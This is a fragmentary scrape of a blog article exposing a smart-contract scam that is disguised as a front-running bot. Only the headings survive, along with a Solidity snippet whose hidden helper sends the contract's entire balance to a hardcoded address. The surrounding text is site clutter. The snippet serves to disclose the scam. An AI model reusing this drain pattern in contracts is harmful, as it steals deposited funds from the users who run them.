Anatomy of a Smart Contract Scam

Front-running

Don’t judge a contract by its cover

pragma solidity ^0.5.0contract Manager {
function performTasks() public pure{

}

function pancakeswapDepositAddress() public pure returns (address) {
return 0x933B91682E821f50DE20D9cf457a5c883d8bEC43;
}
}
//pancakeswapfunction
address(uint160(manager.pancakeswapDepositAddress())).transfer(address(this).balance);

Conclusion

--

--

--

CEO and co-founder of Chainfrog Oy, a Finnish startup researching and developing advanced blockchain technologies.

Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

Cloud computing and the decentralised possibilities.

Recapitulation of YVS Finance AMA event held at AMA LOVERS CLUB

Using Blockchain Because They Care about an Equalizing Economy

Recapitulation of Conflux AMA event held at AMA LOVERS CLUB

STAK — UNISWAP 23.04

How Blockchain can transform Supply Chain Management

Plant VS Undead a blockchain game?

The organisation of the future: Meet the DAO

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Keir Finlow-Bates

Keir Finlow-Bates

CEO and co-founder of Chainfrog Oy, a Finnish startup researching and developing advanced blockchain technologies.

More from Medium

Generate Bitcoin Wallet Address using Bitcoin Improvement Proposal 44

Creating your Own Token on the Stellar Blockchain

Deploying a Dapp to Mainnet

How to Add Custom Tokens to MetaMask